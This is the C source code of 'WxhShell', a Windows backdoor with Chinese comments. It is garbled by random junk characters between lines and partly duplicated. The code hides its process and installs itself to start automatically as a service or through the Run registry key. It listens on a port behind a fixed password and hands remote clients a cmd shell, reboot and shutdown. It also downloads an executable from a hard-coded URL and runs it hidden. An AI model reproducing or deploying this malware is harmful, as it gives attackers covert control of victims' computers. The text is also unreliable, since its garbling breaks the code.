"GetModuleBaseNameA"); K@#L)VT! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y Wya&|D9 QIgNsz if (!NtQueryInformationProcess) return 0; 8*fv' )Wox Mmz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j+(I"h3 if(!hProcess) return 0; ZW}_Qs N !|wo: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RGU\h[ A4ygW: CloseHandle(hProcess); ?rup/4| Bw{I;rW{2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pD74+/DD if(hProcess==NULL) return 0; 9I/N4sou B+0hzkPY HMODULE hMod; +H
Usz? char procName[255]; VYhbx
'e unsigned long cbNeeded; V/;B3t~f N&V`K0FU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jq^T1_iqn *|E[L^ CloseHandle(hProcess); 0C*7K?/ kM@zyDn, if(strstr(procName,"services")) return 1; // 以服务启动 jZ3fKyp# Pco'l#: return 0; // 注册表启动 Lu0x
(/ } $DUZ!zaH! zNuJj L // 主模块 AnvRxb.e int StartWxhshell(LPSTR lpCmdLine) >6pf$0 { a+PzI x2 SOCKET wsl; <1COZ) BOOL val=TRUE; E=w1=,/y int port=0; @jlw_ob2g struct sockaddr_in door; Y7[jqb1D Vl!6W@g if(wscfg.ws_autoins) Install(); PIpi1v*qz ;{o|9x| port=atoi(lpCmdLine); lo!+f"7ym\ AjgF6[B if(port<=0) port=wscfg.ws_port; *U\`CXn; 6qd\)q6T&x WSADATA data; QW~1%` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `%Al>u5 @[i4^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d6sye^P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N<KS(@v
y door.sin_family = AF_INET; _W'-+, door.sin_addr.s_addr = inet_addr("127.0.0.1"); S+ ^E. door.sin_port = htons(port); r!a3\ep 1s@+;QUib if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ktm4 A O closesocket(wsl); ~PahoRS return 1; nSAdCJ;4 } fCobzDy
h_IDO% if(listen(wsl,2) == INVALID_SOCKET) { qXtC^n@x closesocket(wsl); j;iAD:nf return 1; 0f>5(ek } JyOo1E. Wxhshell(wsl); @)&=% WSACleanup(); I[##2 xDoC( return 0; r7,t";?> z4]api(xZ } E6gI,f/p0X Jh[UtYb5 // 以NT服务方式启动 )fSOi||C VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z}ddqZ27G$ { `eCo~(Fy DWORD status = 0; I\JGs@I DWORD specificError = 0xfffffff; Jrpx}2'9:a [ )dXI IM serviceStatus.dwServiceType = SERVICE_WIN32; 28J^DMOW serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6U,O*WJ%e serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Q*or2"! serviceStatus.dwWin32ExitCode = 0; A/KJqiag serviceStatus.dwServiceSpecificExitCode = 0; hPePB= serviceStatus.dwCheckPoint = 0; }m;,Q9:+m^ serviceStatus.dwWaitHint = 0;
Qq;Foa
scou%K hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TS9|a{j3! if (hServiceStatusHandle==0) return; ^y1j.M@q @A89eZbW status = GetLastError(); C$D-Pt"+ if (status!=NO_ERROR) |O9O )o { q):5JXql~ serviceStatus.dwCurrentState = SERVICE_STOPPED; nV:LqF= serviceStatus.dwCheckPoint = 0; j=aI9p serviceStatus.dwWaitHint = 0; d0Qd$ .%A serviceStatus.dwWin32ExitCode = status; ?!cvf{a serviceStatus.dwServiceSpecificExitCode = specificError; QpA/SmJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); J| bd)0 return; HbAkZP } 0ANZAX5 kZZh"#W: L serviceStatus.dwCurrentState = SERVICE_RUNNING; ua]o6GlO serviceStatus.dwCheckPoint = 0; ve/<=IR
Zo serviceStatus.dwWaitHint = 0; -~30)J=e` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \6<=$vD } M
.JoHH sy"^?th}b // 处理NT服务事件,比如:启动、停止 s1NKLt VOID WINAPI NTServiceHandler(DWORD fdwControl) D.Q=]jOs { ruzspS switch(fdwControl) X+S9{X#Cm { |>htvDL case SERVICE_CONTROL_STOP: DV-;4AxxRq serviceStatus.dwWin32ExitCode = 0; \cUNsB5 serviceStatus.dwCurrentState = SERVICE_STOPPED; s4SG[w!d serviceStatus.dwCheckPoint = 0; 7~aM=8r serviceStatus.dwWaitHint = 0; 7Kal"Ew { ^1aAjYFn SetServiceStatus(hServiceStatusHandle, &serviceStatus); TXk?#G\o } Q&g^c2 return; -VTkG]{`Ir case SERVICE_CONTROL_PAUSE: H{k^S\K serviceStatus.dwCurrentState = SERVICE_PAUSED; @I/]D6
~" break; ;YX4:OBqr case SERVICE_CONTROL_CONTINUE: H77" serviceStatus.dwCurrentState = SERVICE_RUNNING; hn=[1<#^( break; Vq;A>
case SERVICE_CONTROL_INTERROGATE: M8Z2Pg\0 break; 9;Ox;;w }; Z1Z1@2 T SetServiceStatus(hServiceStatusHandle, &serviceStatus); >ByXB!Wi+ } *nsAgGKKM^ q**G(}K // 标准应用程序主函数 K7Wk6Aw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Pw\~X3! { XWs"jt i?e`:}T // 获取操作系统版本 p4i]7o@ OsIsNt=GetOsVer(); _b.qkTWUB GetModuleFileName(NULL,ExeFile,MAX_PATH); )R
2. S'B|>!z@ // 从命令行安装 Y +\% if(strpbrk(lpCmdLine,"iI")) Install();
=xJKIu ^:* 1d
\ // 下载执行文件 @wC5 g 4E if(wscfg.ws_downexe) { 5-0{+R5v if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s)2fG\1 WinExec(wscfg.ws_filenam,SW_HIDE); /<8N\_wh } nn9wdt@.] fpN-
o if(!OsIsNt) { VZ](uF BY // 如果时win9x,隐藏进程并且设置为注册表启动 ZwerDkd HideProc(); ]t*[%4 StartWxhshell(lpCmdLine); 'fNKlPMv4D } Kmv+1T0, else SdwS= (e6 if(StartFromService()) lmSo8/%T // 以服务方式启动 9{8GP StartServiceCtrlDispatcher(DispatchTable); *(>}Y else mA@Me7m} // 普通方式启动 .rJiyED?! StartWxhshell(lpCmdLine); 5W@jfh) ^T,Gu-2> return 0; la?Wnw } _ _>.,gL7 g@Qgxsyk> D^;*U[F? e=QK}gzX =========================================== ~E^,=4 u}|%@=xn l?)ZJ3]a a9?y`{%L }AvcoD/b y{a$y}7#X " F[!ckes<bB 34R!x6W0 #include <stdio.h> @AYo-gf #include <string.h> K!mOr #include <windows.h> <x),,a=X #include <winsock2.h> N8`4veVBx' #include <winsvc.h> &X]\)`j0 #include <urlmon.h> leiW4Fj ow' lRHZ #pragma comment (lib, "Ws2_32.lib") ;|cTHGxbE #pragma comment (lib, "urlmon.lib") A;u" <KG? io3yLIy, #define MAX_USER 100 // 最大客户端连接数
l"zUv #define BUF_SOCK 200 // sock buffer ;!T{%-tP #define KEY_BUFF 255 // 输入 buffer cubk]~VD 6R29$D|HFO #define REBOOT 0 // 重启 j` /&r*zNq #define SHUTDOWN 1 // 关机 l#wdpD a{ RP`2)/sMT #define DEF_PORT 5000 // 监听端口 $,hwU3RVxc Y3ZK%OyPR #define REG_LEN 16 // 注册表键长度 S|GWcSg #define SVC_LEN 80 // NT服务名长度 ksjUr 1o oAZh~~tp // 从dll定义API B )JM%r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -NBiW6b~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0%;146.p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1[;@AE2Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s2v(=
5H:@8,B // wxhshell配置信息 - n6jG}01b struct WSCFG { h.whjiCFa int ws_port; // 监听端口 !=*.$4 char ws_passstr[REG_LEN]; // 口令 6bZ[Kt int ws_autoins; // 安装标记, 1=yes 0=no [Id}4[={e char ws_regname[REG_LEN]; // 注册表键名 n`;R pr& char ws_svcname[REG_LEN]; // 服务名 i`OrMzL char ws_svcdisp[SVC_LEN]; // 服务显示名 K.SeK3( char ws_svcdesc[SVC_LEN]; // 服务描述信息 '?Iif#Z1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yD)"c. int ws_downexe; // 下载执行标记, 1=yes 0=no xnq><4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YbMssd2Yg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hQgN9S5P {sC=J hs- }; (=T$_-Dj`} f8:$G.}i // default Wxhshell configuration LN!W(n( struct WSCFG wscfg={DEF_PORT, hPufzhT "xuhuanlingzhe", O=jN&<rb 1, zb2K;%Qs+f "Wxhshell", XSB8z
"Wxhshell", U 0ZB^` "WxhShell Service", F$hZRZ "Wrsky Windows CmdShell Service", GH3#E*t+[ "Please Input Your Password: ", FUaNiAr[ 1, +*t|yKO>[ "http://www.wrsky.com/wxhshell.exe", t^@T`2jL
"Wxhshell.exe" =%h~/, }; mpef]9 DcFCKji // 消息定义模块 *e<_; Kr? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;1LG&h,K char *msg_ws_prompt="\n\r? for help\n\r#>"; xVR:;
Jy[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0MpS4tW0= char *msg_ws_ext="\n\rExit."; gEKO128 char *msg_ws_end="\n\rQuit."; 56s*A*z$
; char *msg_ws_boot="\n\rReboot..."; :k1$g+(lP char *msg_ws_poff="\n\rShutdown..."; Jqg3.2q char *msg_ws_down="\n\rSave to "; z`'P>.x
`45d"B
I char *msg_ws_err="\n\rErr!"; t&"5dM\ char *msg_ws_ok="\n\rOK!";
hh&Js'd 4Vx+[8W char ExeFile[MAX_PATH]; !P" ? int nUser = 0; zPQ$\$7xB HANDLE handles[MAX_USER]; P{lh)m> int OsIsNt;
z^~U]S3 %UmbDGDWI SERVICE_STATUS serviceStatus; p}8ratmN SERVICE_STATUS_HANDLE hServiceStatusHandle; &PWf:y{R` {U
P_i2`. // 函数声明 eG^z*`** int Install(void); N<bD int Uninstall(void); 4sd-zl$Of int DownloadFile(char *sURL, SOCKET wsh); &enlAV'#)O int Boot(int flag); 0|Q.U void HideProc(void); drX4$Kdf] int GetOsVer(void); c'lIWuL) int Wxhshell(SOCKET wsl); ;8EjjF [> void TalkWithClient(void *cs); auA.6DQ int CmdShell(SOCKET sock); ./)j5M int StartFromService(void); (lb`#TTGx int StartWxhshell(LPSTR lpCmdLine); T]X{@_
,^!Zm^4, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wL'C1Vr VOID WINAPI NTServiceHandler( DWORD fdwControl ); !pV<n j%GbgJ // 数据结构和表定义 9H8=eJd SERVICE_TABLE_ENTRY DispatchTable[] = Qasr:p+ { UR\ZN@O {wscfg.ws_svcname, NTServiceMain}, 9 G((wiE {NULL, NULL} ty9rH=1 }; z}mvX.j7 <M`-`v6H // 自我安装 @ p"NJx" int Install(void) 1y(iE C { |/2LWc? char svExeFile[MAX_PATH]; TVj1C HKEY key; i~ROQMN1 strcpy(svExeFile,ExeFile); l4DeX\ly7f )e#fj+>x) // 如果是win9x系统,修改注册表设为自启动 7ia"u+Y if(!OsIsNt) { B_b8r7Vn` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e=-YP8l
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i~(#S8U4d RegCloseKey(key); s"#CkG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _82<|NN: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0U9+ RegCloseKey(key); "C?:T'dW return 0; \8
g. } ~igRg~k:/ } ;;D%
l^m+ } pFS
F[9?e> else { ![qRoYpbg8 9#s,K! !3{ // 如果是NT以上系统,安装为系统服务 5ZZd.9ZgM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sn2r>m3 if (schSCManager!=0) 5
1v r^ { \-DM-NrZ1U SC_HANDLE schService = CreateService @F>[DW]O ( aS3P(s L schSCManager, ;>cLbjD wscfg.ws_svcname, iJ5e1R8tN wscfg.ws_svcdisp, 4+BrTGp SERVICE_ALL_ACCESS, $z~jnc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L;
@aE[#z SERVICE_AUTO_START, (D:KqGqoT SERVICE_ERROR_NORMAL, 2pVVoZV.< svExeFile, sxf}Mmsk NULL, *'kC8ZR5 NULL, rGQ86L< NULL, Fmy1nZ NULL, $Vd?K@W[h NULL *g}vT8w'} ); cL-6M^!a if (schService!=0) I^6c0` { y}3
`~a CloseServiceHandle(schService); 9aW8wYL~b CloseServiceHandle(schSCManager); .D>A'r8U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@l +\M( strcat(svExeFile,wscfg.ws_svcname); @B}&62T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3JwSgc b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e7)> U!9c9 RegCloseKey(key); iPRJA{$b_ return 0; bQ${8ZO } pO-)x:Wg } ?h>(&HjWV CloseServiceHandle(schSCManager); #d7)$ub } ;h*"E(Pp } d#M?lS> +'{:zN5m return 1; % B7?l } l,~ N~? 5VY%o8xXa // 自我卸载 Y6[] wUJ int Uninstall(void) kiBOyC!r6 { kC,DW%Ls HKEY key; r&LCoe'\{i EHE6-^F if(!OsIsNt) { x&6i@ Jl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {/,+_E/ RegDeleteValue(key,wscfg.ws_regname); "1pZzad
RegCloseKey(key); g
tSHy*3] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !E(J
]a RegDeleteValue(key,wscfg.ws_regname); QvyUd%e'5A RegCloseKey(key); _3g %F return 0; !*$'fn'bAA } Xl
'\krz } _cnrGi}T } YpbdScz else { u]++&~i Qr xO
erp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .x9nWa if (schSCManager!=0) lj% ;d' { v6,
o/3Ex SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &~f*q?xR if (schService!=0) 22H=!.DJ { Mz#S5 s if(DeleteService(schService)!=0) { vzT6G/ CloseServiceHandle(schService); B3i=pcef CloseServiceHandle(schSCManager); _{@}Fd?o return 0; pRyS8' } G5Dji_ | CloseServiceHandle(schService); r+WPQ`Ar } R,k[Kh CloseServiceHandle(schSCManager); )SO1P6 } ob()+p.k K } zz''FmedF E EnTq return 1; xsypIbN } W,eKQV<j ^a0-5 // 从指定url下载文件 ^IegR> int DownloadFile(char *sURL, SOCKET wsh) 4~J1pcBno% { g960;waz3 HRESULT hr; I<o4 l[-- char seps[]= "/"; B7^n30+L char *token; Xf/<.5A char *file; ?p\II7 char myURL[MAX_PATH]; 7=[O6<+o char myFILE[MAX_PATH]; <EE+
S#z y8 u)Q strcpy(myURL,sURL); 5~TA(cb5 token=strtok(myURL,seps); T;e (Q,!H while(token!=NULL) (~yJce { 'S-"*:$,u file=token; aLo>Yi token=strtok(NULL,seps); rsj}hS$ } a-A4xL.gm WX$^[^=HC GetCurrentDirectory(MAX_PATH,myFILE); wOl-iN= strcat(myFILE, "\\"); +as\>"Cj+2 strcat(myFILE, file); *j; r|P;g send(wsh,myFILE,strlen(myFILE),0); YuW\GSV00 send(wsh,"...",3,0); g?Ty5~:lq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n\NDi22 if(hr==S_OK) xa axj return 0; 5nw9zW
:' else ,,-3p#Pbw return 1; p{QKj3ov u>Kvub } ?ew]i'9( N=Yi:+ // 系统电源模块 }U1{&4Ph int Boot(int flag) WmBnc#>gK { PqeQe5 HANDLE hToken; KTREOOu .t TOKEN_PRIVILEGES tkp; QU;C*}0Zl {.)~4.LhQM if(OsIsNt) { D#AxgF_He OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *qOCo_=P8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `Wt~6D
e tkp.PrivilegeCount = 1; AR2+W^aM3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,;& PKY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U?C{.@#w if(flag==REBOOT) { /1GZN *I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Hu;Gdj= return 0; pAL-Pl9z } )[Cm*Xxa$ else { bhT]zsBK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vp94mi#L} return 0; j;vaNg|vQ } ~hX'FV } 9e6{( else { >QPS0Vx[ if(flag==REBOOT) { 8=Ht+Br if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8eLL return 0; 4x>e7Kf } (9%%^s]uPT else { 'D{abm0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <:o><f+ return 0; hQeZI+ } YiMecu } `Nr7N#g+u S?<Qa; return 1; >{8H==P } lvffQ_t tam/FzVw // win9x进程隐藏模块 Reo0ZU> void HideProc(void) 548BM^^"r { 85]UrwlA4 d_hcv|% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,|/$|$' if ( hKernel != NULL ) 'Mtu-\ { QkAwG[4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :4d7%q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +UtK2<^:o FreeLibrary(hKernel); mYvm_t9 } b*i+uV? NST6pu\,U return; fZC,%p } nm.d.A/]Z [OSUARm
v // 获取操作系统版本 RCr:2
Iz int GetOsVer(void) DEhA8.v { kzu=-@s OSVERSIONINFO winfo; AJmzg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <}%*4mv GetVersionEx(&winfo); NGu]|p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZWH`s return 1; mUxD.;P else sBMHf9u return 0; ej `$-hBBV } ;d4_l:9p fx},.P=:* // 客户端句柄模块 8*X8U:.0o int Wxhshell(SOCKET wsl) h?sh#j6 { ;Xns 9 SOCKET wsh; F(9T;F struct sockaddr_in client; s#ykD{Z DWORD myID; v)06`G l3,|r QD while(nUser<MAX_USER) 3 0Z;}<)9 { 2#!D" F int nSize=sizeof(client); 3h&s=e! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z)<>d. if(wsh==INVALID_SOCKET) return 1; z; +x`i. smggr{- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tP9}:gu if(handles[nUser]==0) ?a%
u=G closesocket(wsh); ?(z3/"g] else _kSus nUser++; }PVB+i M } P<1zXs.H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %Vq@WF :BS`Q/<w return 0; 7@\iBmr6 } z3,z&Ra <Ip}uy[Y // 关闭 socket @4pN4v8U void CloseIt(SOCKET wsh) " 1Bn/Q { LS`Gg7]S closesocket(wsh); oKUJB.PF nUser--; P7n~Ui~U ExitThread(0); ]Q+Tm2{ } <_5z^@N3$ ` WVQp"m // 客户端请求句柄 )9$Xfq/ void TalkWithClient(void *cs) ;]gph)2cd { rv+"=g Z`D#L[z$ SOCKET wsh=(SOCKET)cs; PQ
j_j#0 char pwd[SVC_LEN]; \K=Jd#9c char cmd[KEY_BUFF]; &Z?uK, 8 char chr[1]; OtJS5A int i,j; iMSS8J # 8A|-u=3 while (nUser < MAX_USER) { 6gv.n (Q@+W|~ if(wscfg.ws_passstr) { U;_;_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <B)lV'!Bd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QS[%`-dR2 //ZeroMemory(pwd,KEY_BUFF); *N 't ; i=0; 5%9&
7 while(i<SVC_LEN) { ^;'3(m= n`6vM4rM) // 设置超时 d(tq;2- fd_set FdRead; .gB#g{5+J struct timeval TimeOut; bAgKOfT FD_ZERO(&FdRead); q
o'1Pknz FD_SET(wsh,&FdRead); GYBM]mW^ W TimeOut.tv_sec=8; {YkW5zC(L TimeOut.tv_usec=0; !!9V0[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R
+k\)_F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^'}Td~( MSA*XDnN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M/BBNT pwd=chr[0]; O!a5 if(chr[0]==0xd || chr[0]==0xa) { bz@4obRqf pwd=0; ?O.&=im_ break; #/n\C } |XQ!xFB i++; '1d-N[ } P/27+5(| 8g<3J-7Mm // 如果是非法用户,关闭 socket Es?~Dd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $]O\Ryf6 } :g Ze> Ih.o;8PpK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ji=E 1R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VBOq~>V6(v )UWE.oBI while(1) { vJYy` k^Y 3]wV`mD ZeroMemory(cmd,KEY_BUFF); c1c0b|B!U x.'O_7c0: // 自动支持客户端 telnet标准 K]RkKMT, j=0; >J4_/p>Qs while(j<KEY_BUFF) { /0 zk &g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^K3{6}] cmd[j]=chr[0]; Q?vGg{> if(chr[0]==0xa || chr[0]==0xd) { ifuVV Fov cmd[j]=0; 8Y:bvs.j break; C6GYhG] } SwQb" j++; TK'(\[E } t&ngOF E_FseR6 // 下载文件 TN&1C8xr if(strstr(cmd,"http://")) { *NDzU%X8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^58'*13ZL if(DownloadFile(cmd,wsh)) ) ><{A send(wsh,msg_ws_err,strlen(msg_ws_err),0); <MY_{o8d else x}-r Ar send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gCd9"n-e } N~SG=\rP;o else { R:11w#m7w HdVGkv/ switch(cmd[0]) { 6zyozJA I9_tD@s"( // 帮助 dw'%1g.113 case '?': {
>hHn{3y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k0%4&pU break; *Bc=gl$ } (G:$/fK // 安装 o <sX6a9e case 'i': { /z6NJ2jb if(Install()) ]e
R1
+Nl send(wsh,msg_ws_err,strlen(msg_ws_err),0); |FH/Q-7[ else an.)2*u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jh9^5"vQ break; "{|9Yis= } r%F{1. // 卸载 'H:lR1(, case 'r': { H=EvT'g if(Uninstall()) pkhZW8O send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aqq%HgY:t else \S3C"P%w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IeE+h-3p break; T5o9pmD } 6dV92: // 显示 wxhshell 所在路径 R/U"]Rc case 'p': { \3Ys8umKq char svExeFile[MAX_PATH]; ,Epg&)wC] strcpy(svExeFile,"\n\r"); tvZpm@1 strcat(svExeFile,ExeFile); W.{#Pg1Da send(wsh,svExeFile,strlen(svExeFile),0); ^2XoYgv break; :43K)O" } "C%;9_ig$ // 重启 '3aDvV0 case 'b': { TAIcp*)ZM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W%@6D|^ if(Boot(REBOOT)) %.[t(F send(wsh,msg_ws_err,strlen(msg_ws_err),0); -TSn_XE else { ,@8>=rT closesocket(wsh); YB.r-c"Y ExitThread(0); e%o6s+" } aV,>y"S break; {C[<7ruF } aa8WRf // 关机 K>"M#T case 'd': {
jI[:` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 79z(n[^ if(Boot(SHUTDOWN)) +3!um send(wsh,msg_ws_err,strlen(msg_ws_err),0); >n{(2bcFs else { Rq<T2}K closesocket(wsh); :;#Kg_bz ExitThread(0); LEKN%2 } *4dA(N\k" break; -6aGcPq } 25o + ?Y< // 获取shell &Dgho case 's': { z<hy#BIjnd CmdShell(wsh); ej]^VS7w[r closesocket(wsh); FU E/uh ExitThread(0); Q+[gGe
JUF break; n'U*8ID } "9>~O`l, // 退出 IF(W[J case 'x': { y}R{A6X) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ot`jjZ& CloseIt(wsh); GTyS8`5E* break; j|A *rzL8 } 5M;fh)fT // 离开 -"UK NB! case 'q': { (&=-o( send(wsh,msg_ws_end,strlen(msg_ws_end),0); SL?
!
RQ closesocket(wsh); D: NBb!
WSACleanup(); kVCSFF* exit(1); |[)t4A"} break; =hH>]$J[ } k9vr6We' } I QS| }
lc,{0$
1< @(,k%84z // 提示信息 hbD@B.PD if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -SGR) } HpC|dtro } Ks(+['*S . Zrt/; return; pLE|#58I } 2G=Bav\n+ NIY0f@1z- // shell模块句柄 >2_BL5<S int CmdShell(SOCKET sock) MS)# S& { J}Bg<[n STARTUPINFO si; ka0T|$ u(s ZeroMemory(&si,sizeof(si)); Xw(e@: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z2_eTC
u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ),(ejRP'r PROCESS_INFORMATION ProcessInfo; cZuZfMDM char cmdline[]="cmd"; 4_ztIrw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !h4S`2oZ/ return 0; mnzamp } (`5No:?v< tKjPLi71 // 自身启动模式 |FHeT*" int StartFromService(void) FVW<F(g` { [=z1~dXKb typedef struct 9OuK}Ssf { KJo[!|. DWORD ExitStatus; AU)"L_
i} DWORD PebBaseAddress; R] tHd=kf DWORD AffinityMask; 5)+(McJC DWORD BasePriority; AyB-+oTf( ULONG UniqueProcessId; /pan{.< k ULONG InheritedFromUniqueProcessId; 8p,q9Ey } PROCESS_BASIC_INFORMATION; BNw^ _j1 16 _HO%v-> PROCNTQSIP NtQueryInformationProcess; v`A^6)U#M o7i/~JkTP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QZ$94XLI static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BC ]^BKP A,ttn5Sh? HANDLE hProcess; ^0_ *AwIcN PROCESS_BASIC_INFORMATION pbi; bg[k8*.:F 'Cd8l#z7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IAf,TKfe if(NULL == hInst ) return 0; %6j|/|#] 0}2Uj>!i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LyH8T'C~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p%EU,:I6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Qg!_C kSv?p1\@&P if (!NtQueryInformationProcess) return 0; z'=*pIY5f iT1"Le/N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c[}h( jkP if(!hProcess) return 0; C'4u+raq :~3sW< PR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I&l 1b> 2+M(!FHfy CloseHandle(hProcess); -l+&Bkf VI,z7
